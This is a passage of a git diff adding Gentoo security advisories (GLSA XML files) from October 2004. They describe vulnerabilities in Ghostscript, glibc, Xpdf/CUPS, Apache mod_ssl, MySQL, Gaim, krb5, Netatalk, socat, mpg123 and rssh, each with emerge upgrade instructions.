+  <metadata tag="bugReady" timestamp="Tue, 19 Oct 2004 12:14:40 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-18.xml b/xml/htdocs/security/en/glsa/glsa-200410-18.xml
new file mode 100644
index 00000000..c878f711
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-18.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-18">
+  <title>Ghostscript: Insecure temporary file use in multiple scripts</title>
+  <synopsis>
+    Multiple scripts in the Ghostscript package are vulnerable to symlink
+    attacks, potentially allowing a local user to overwrite arbitrary files
+    with the rights of the user running the script.
+  </synopsis>
+  <product type="ebuild">Ghostscript</product>
+  <announced>October 20, 2004</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>66357</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-text/ghostscript-esp" auto="yes" arch="*">
+      <unaffected range="ge">7.07.1-r7</unaffected>
+      <unaffected range="rge">7.05.6-r2</unaffected>
+      <vulnerable range="lt">7.07.1-r7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ghostscript is a software package providing an interpreter for the
+    PostScript language and the PDF file format. It also provides output
+    drivers for various file formats and printers.
+    </p>
+  </background>
+  <description>
+    <p>
+    The pj-gs.sh, ps2epsi, pv.sh and sysvlp.sh scripts create temporary files
+    in world-writeable directories with predictable names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary files
+    directory, pointing to a valid file somewhere on the filesystem. When an
+    affected script is called, this would result in the file to be overwritten
+    with the rights of the user running the script, which could be the root
+    user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Ghostscript users on all architectures except PPC should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-text/ghostscript-esp-7.07.1-r7"
+    # emerge ">=app-text/ghostscript-esp-7.07.1-r7"</code>
+    <p>
+    Ghostscript users on the PPC architecture should upgrade to the latest
+    stable version on their architecture:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-text/ghostscript-esp-7.05.6-r2"
+    # emerge ">=app-text/ghostscript-esp-7.05.6-r2"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0967">CAN-2004-0967</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 19 Oct 2004 12:27:11 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 19 Oct 2004 12:27:18 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-19.xml b/xml/htdocs/security/en/glsa/glsa-200410-19.xml
new file mode 100644
index 00000000..ad9e6b22
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-19.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-19">
+  <title>glibc: Insecure tempfile handling in catchsegv script</title>
+  <synopsis>
+    The catchsegv script in the glibc package is vulnerable to symlink attacks,
+    potentially allowing a local user to overwrite arbitrary files with the
+    rights of the user running the script.
+  </synopsis>
+  <product type="ebuild">glibc</product>
+  <announced>October 21, 2004</announced>
+  <revised>October 21, 2004: 01</revised>
+  <bug>66358</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-libs/glibc" auto="yes" arch="*">
+      <unaffected range="rge">2.2.5-r9</unaffected>
+      <unaffected range="rge">2.3.2-r12</unaffected>
+      <unaffected range="rge">2.3.3.20040420-r2</unaffected>
+      <unaffected range="rge">2.3.4.20040619-r2</unaffected>
+      <unaffected range="ge">2.3.4.20040808-r1</unaffected>
+      <vulnerable range="le">2.3.4.20040808</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    glibc is a package that contains the GNU C library.
+    </p>
+  </background>
+  <description>
+    <p>
+    The catchsegv script creates temporary files in world-writeable directories
+    with predictable names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary files
+    directory, pointing to a valid file somewhere on the filesystem. When
+    catchsegv script is called, this would result in the file being overwritten
+    with the rights of the user running the utility, which could be the root
+    user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All glibc users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv sys-libs/glibc
+    # emerge sys-libs/glibc</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0968">CAN-2004-0968</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 20 Oct 2004 14:29:16 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 20 Oct 2004 14:29:39 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 20 Oct 2004 16:11:58 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-20.xml b/xml/htdocs/security/en/glsa/glsa-200410-20.xml
new file mode 100644
index 00000000..1fd20d59
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-20.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-20">
+  <title>Xpdf, CUPS: Multiple integer overflows</title>
+  <synopsis>
+    Multiple integer overflows were discovered in Xpdf, potentially resulting
+    in execution of arbitrary code upon viewing a malicious PDF file. CUPS
+    includes Xpdf code and therefore is vulnerable to the same issues.
+  </synopsis>
+  <product type="ebuild">Xpdf</product>
+  <announced>October 21, 2004</announced>
+  <revised>November 06, 2004: 02</revised>
+  <bug>69662</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/xpdf" auto="yes" arch="*">
+      <unaffected range="ge">3.00-r5</unaffected>
+      <vulnerable range="le">3.00-r4</vulnerable>
+    </package>
+    <package name="net-print/cups" auto="yes" arch="*">
+      <unaffected range="ge">1.1.20-r5</unaffected>
+      <vulnerable range="le">1.1.20-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Xpdf is an open source viewer for Portable Document Format (PDF) files. The
+    Common UNIX Printing System (CUPS) is a cross-platform print spooler that
+    includes some Xpdf code.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Evans discovered multiple integer overflow issues in Xpdf.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice an user to open a specially-crafted PDF file,
+    potentially resulting in execution of arbitrary code with the rights of the
+    user running Xpdf. By enticing an user to directly print the PDF file to a
+    CUPS printer, an attacker could also crash the CUPS spooler or execute
+    arbitrary code with the rights of the CUPS spooler, which is usually the
+    "lp" user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Xpdf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=app-text/xpdf-3.00-r5"</code>
+    <p>
+    All CUPS users should also upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=net-print/cups-1.1.20-r5"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0888">CAN-2004-0888</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0889">CAN-2004-0889</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 21 Oct 2004 10:10:18 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 21 Oct 2004 14:18:53 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-21.xml b/xml/htdocs/security/en/glsa/glsa-200410-21.xml
new file mode 100644
index 00000000..5d14459c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-21.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-21">
+  <title>Apache 2, mod_ssl: Bypass of SSLCipherSuite directive</title>
+  <synopsis>
+    In certain configurations, it can be possible to bypass restrictions set by
+    the "SSLCipherSuite" directive of mod_ssl.
+  </synopsis>
+  <product type="ebuild">apache</product>
+  <announced>October 21, 2004</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>66807</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="ge">2.0.52</unaffected>
+      <unaffected range="lt">2.0</unaffected>
+      <vulnerable range="lt">2.0.52</vulnerable>
+    </package>
+    <package name="net-www/mod_ssl" auto="yes" arch="*">
+      <unaffected range="ge">2.8.20</unaffected>
+      <vulnerable range="lt">2.8.20</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP server is one of the most popular web servers on the
+    internet. mod_ssl provides SSL v2/v3 and TLS v1 support for Apache 1.3 and
+    is also included in Apache 2.
+    </p>
+  </background>
+  <description>
+    <p>
+    A flaw has been found in mod_ssl where the "SSLCipherSuite" directive could
+    be bypassed in certain configurations if it is used in a directory or
+    location context to restrict the set of allowed cipher suites.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could gain access to a location using any cipher suite
+    allowed by the server/virtual host configuration, disregarding the
+    restrictions by "SSLCipherSuite" for that location.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Apache 2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=www-servers/apache-2.0.52"
+    # emerge ">=www-servers/apache-2.0.52"</code>
+    <p>
+    All mod_ssl users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-www/mod_ssl-2.8.20"
+    # emerge ">=net-www/mod_ssl-2.8.20"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0885">CAN-2004-0885</uri>
+    <uri link="http://issues.apache.org/bugzilla/show_bug.cgi?id=31505">Apache HTTPD Bug 31505</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri,  8 Oct 2004 21:14:18 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 13 Oct 2004 20:52:28 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 21 Oct 2004 04:34:44 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-22.xml b/xml/htdocs/security/en/glsa/glsa-200410-22.xml
new file mode 100644
index 00000000..4ae77575
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-22.xml
@@ -0,0 +1,91 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-22">
+  <title>MySQL: Multiple vulnerabilities</title>
+  <synopsis>
+    Several vulnerabilities including privilege abuse, Denial of Service, and
+    potentially remote arbitrary code execution have been discovered in MySQL.
+  </synopsis>
+  <product type="ebuild">MySQL</product>
+  <announced>October 24, 2004</announced>
+  <revised>October 24, 2004: 01</revised>
+  <bug>67062</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/mysql" auto="yes" arch="*">
+      <unaffected range="ge">4.0.21</unaffected>
+      <vulnerable range="lt">4.0.21</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MySQL is a popular open-source, multi-threaded, multi-user SQL database
+    server.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were found and fixed in MySQL:
+    </p>
+    <p>
+    Oleksandr Byelkin found that ALTER TABLE ... RENAME checks CREATE/INSERT
+    rights of the old table instead of the new one (CAN-2004-0835). Another
+    privilege checking bug allowed users to grant rights on a database they had
+    no rights on.
+    </p>
+    <p>
+    Dean Ellis found a defect where multiple threads ALTERing the MERGE tables
+    to change the UNION could cause the server to crash (CAN-2004-0837).
+    Another crash was found in MATCH ... AGAINST() queries with missing closing
+    double quote.
+    </p>
+    <p>
+    Finally, a buffer overrun in the mysql_real_connect function was found by
+    Lukasz Wojtow (CAN-2004-0836).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    The privilege checking issues could be used by remote users to bypass their
+    rights on databases. The two crashes issues could be exploited by a remote
+    user to perform a Denial of Service attack on MySQL server. The buffer
+    overrun issue could also be exploited as a Denial of Service attack, and
+    may allow to execute arbitrary code with the rights of the MySQL daemon
+    (typically, the "mysql" user).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MySQL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=dev-db/mysql-4.0.21"
+    # emerge ">=dev-db/mysql-4.0.21"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0835">CAN-2004-0835</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0836">CAN-2004-0836</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0837">CAN-2004-0837</uri>
+    <uri link="http://bugs.mysql.com/bug.php?id=3933">Privilege granting bug</uri>
+    <uri link="http://bugs.mysql.com/bug.php?id=3870">MATCH ... AGAINST crash bug</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 19 Oct 2004 17:45:22 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 22 Oct 2004 20:06:53 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 23 Oct 2004 08:53:17 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-23.xml b/xml/htdocs/security/en/glsa/glsa-200410-23.xml
new file mode 100644
index 00000000..95d3b701
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-23.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-23">
+  <title>Gaim: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been found in Gaim which could allow a remote
+    attacker to crash the application, or possibly execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">gaim</product>
+  <announced>October 24, 2004</announced>
+  <revised>October 24, 2004: 01</revised>
+  <bug>68271</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/gaim" auto="yes" arch="*">
+      <unaffected range="ge">1.0.2</unaffected>
+      <vulnerable range="lt">1.0.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gaim is a full featured instant messaging client which handls a variety of
+    instant messaging protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    A possible buffer overflow exists in the code processing MSN SLP messages
+    (CAN-2004-0891). memcpy() was used without validating the size of the
+    buffer, and an incorrect buffer was used as destination under certain
+    circumstances. Additionally, memory allocation problems were found in the
+    processing of MSN SLP messages and the receiving of files. These issues
+    could lead Gaim to try to allocate more memory than available, resulting in
+    the crash of the application.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could crash Gaim and possibly execute arbitrary code by
+    exploiting the buffer overflow.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gaim users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-im/gaim-1.0.2"
+    # emerge ">=net-im/gaim-1.0.2"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0891">CAN-2004-0891</uri>
+    <uri link="http://gaim.sourceforge.net/security/">Gaim Security Issues</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 22 Oct 2004 00:52:11 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 22 Oct 2004 08:35:43 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 23 Oct 2004 13:06:09 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-24.xml b/xml/htdocs/security/en/glsa/glsa-200410-24.xml
new file mode 100644
index 00000000..311fe5a6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-24.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-24">
+  <title>MIT krb5: Insecure temporary file use in send-pr.sh</title>
+  <synopsis>
+    The send-pr.sh script, included in the mit-krb5 package, is vulnerable to
+    symlink attacks, potentially allowing a local user to overwrite arbitrary
+    files with the rights of the user running the utility.
+  </synopsis>
+  <product type="ebuild">mit-krb5</product>
+  <announced>October 25, 2004</announced>
+  <revised>January 30, 2005: 02</revised>
+  <bug>66359</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-crypt/mit-krb5" auto="yes" arch="*">
+      <unaffected range="ge">1.3.5-r1</unaffected>
+      <unaffected range="rge">1.3.4-r1</unaffected>
+      <vulnerable range="le">1.3.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MIT krb5 is the free implementation of the Kerberos network
+    authentication protocol written by the Massachusetts Institute of
+    Technology.
+    </p>
+  </background>
+  <description>
+    <p>
+    The send-pr.sh script creates temporary files in world-writeable
+    directories with predictable names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary files
+    directory, pointing to a valid file somewhere on the filesystem. When
+    send-pr.sh is called, this would result in the file being overwritten
+    with the rights of the user running the utility, which could be the
+    root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MIT krb5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-crypt/mit-krb5-1.3.4-r1&quot;
+    # emerge &quot;&gt;=app-crypt/mit-krb5-1.3.4-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0971">CAN-2004-0971</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 19 Oct 2004 17:38:41 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 25 Oct 2004 13:03:38 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-25.xml b/xml/htdocs/security/en/glsa/glsa-200410-25.xml
new file mode 100644
index 00000000..c0ea862d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-25.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-25">
+  <title>Netatalk: Insecure tempfile handling in etc2ps.sh</title>
+  <synopsis>
+    The etc2ps.sh script, included in the Netatalk package, is vulnerable to
+    symlink attacks, potentially allowing a local user to overwrite arbitrary
+    files with the rights of the user running the utility.
+  </synopsis>
+  <product type="ebuild">Netatalk</product>
+  <announced>October 25, 2004</announced>
+  <revised>October 25, 2004: 01</revised>
+  <bug>66370</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-fs/netatalk" auto="yes" arch="*">
+      <unaffected range="ge">1.6.4-r1</unaffected>
+      <vulnerable range="lt">1.6.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Netatalk is a kernel level implementation of the AppleTalk Protocol Suite,
+    which allows Unix hosts to act as file, print, and time servers for Apple
+    computers. It includes several script utilities, including etc2ps.sh.
+    </p>
+  </background>
+  <description>
+    <p>
+    The etc2ps.sh script creates temporary files in world-writeable directories
+    with predictable names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary files
+    directory, pointing to a valid file somewhere on the filesystem. When
+    etc2ps.sh is executed, this would result in the file being overwritten with
+    the rights of the user running the utility, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Netatalk users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-fs/netatalk-1.6.4-r1"
+    # emerge ">=net-fs/netatalk-1.6.4-r1"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0974">CAN-2004-0974</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 10 Oct 2004 22:02:01 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 25 Oct 2004 13:03:51 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-26.xml b/xml/htdocs/security/en/glsa/glsa-200410-26.xml
new file mode 100644
index 00000000..b57a30d0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-26.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-26">
+  <title>socat: Format string vulnerability</title>
+  <synopsis>
+    socat contains a format string vulnerability that can potentially lead to
+    remote or local execution of arbitrary code with the privileges of the
+    socat process.
+  </synopsis>
+  <product type="ebuild">socat</product>
+  <announced>October 25, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>68547</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/socat" auto="yes" arch="*">
+      <unaffected range="ge">1.4.0.3</unaffected>
+      <vulnerable range="lt">1.4.0.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    socat is a multipurpose bidirectional relay, similar to netcat.
+    </p>
+  </background>
+  <description>
+    <p>
+    socat contains a syslog() based format string vulnerablility in the
+    '_msg()' function of 'error.c'. Exploitation of this bug is only
+    possible when socat is run with the '-ly' option, causing it to log
+    messages to syslog.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote exploitation is possible when socat is used as a HTTP proxy
+    client and connects to a malicious server. Local privilege escalation
+    can be achieved when socat listens on a UNIX domain socket. Potential
+    execution of arbitrary code with the privileges of the socat process is
+    possible with both local and remote exploitations.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable logging to syslog by not using the '-ly' option when starting
+    socat.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All socat users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/socat-1.4.0.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.dest-unreach.org/socat/advisory/socat-adv-1.html">socat Security Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1484">CVE-2004-1484</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 23 Oct 2004 13:12:08 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 23 Oct 2004 13:30:23 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 24 Oct 2004 21:38:40 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-27.xml b/xml/htdocs/security/en/glsa/glsa-200410-27.xml
new file mode 100644
index 00000000..4f3aa101
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-27.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-27">
+  <title>mpg123: Buffer overflow vulnerabilities</title>
+  <synopsis>
+    Buffer overflow vulnerabilities have been found in mpg123 which could lead
+    to execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mpg123</product>
+  <announced>October 27, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>68343</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/mpg123" auto="yes" arch="*">
+      <unaffected range="ge">0.59s-r5</unaffected>
+      <vulnerable range="lt">0.59s-r5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    mpg123 is a MPEG Audio Player.
+    </p>
+  </background>
+  <description>
+    <p>
+    Buffer overflow vulnerabilities in the getauthfromURL() and http_open()
+    functions have been reported by Carlos Barros. Additionally, the Gentoo
+    Linux Sound Team fixed additional boundary checks which were found to
+    be lacking.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to open a malicious playlist or URL or making use of
+    a specially-crafted symlink, an attacker could possibly execute
+    arbitrary code with the rights of the user running mpg123.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mpg123 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/mpg123-0.59s-r5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.barrossecurity.com/advisories/mpg123_getauthfromurl_bof_advisory.txt">Security Advisory by Carlos Barros</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0982">CVE-2004-0982</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 22 Oct 2004 21:04:17 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 24 Oct 2004 17:06:55 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 26 Oct 2004 11:02:34 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-28.xml b/xml/htdocs/security/en/glsa/glsa-200410-28.xml
new file mode 100644
index 00000000..786e8b9e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-28.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-28">
+  <title>rssh: Format string vulnerability</title>
+  <synopsis>
+    rssh is vulnerable to a format string vulnerability that allows arbitrary
+    execution of code with the rights of the connected user, thereby bypassing
+    rssh restrictions.
+  </synopsis>
+  <product type="ebuild">rssh</product>
+  <announced>October 27, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>66988</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-shells/rssh" auto="yes" arch="*">
+      <unaffected range="ge">2.2.2</unaffected>
+      <vulnerable range="lt">2.2.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    rssh is a restricted shell, allowing only a few commands like scp or
+    sftp. It is often used as a complement to OpenSSH to provide limited
+    access to users.
+    </p>
+  </background>
+  <description>
+    <p>
+    Florian Schilhabel from the Gentoo Linux Security Audit Team found a
+    format string vulnerability in rssh syslogging of failed commands.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Using a malicious command, it may be possible for a remote
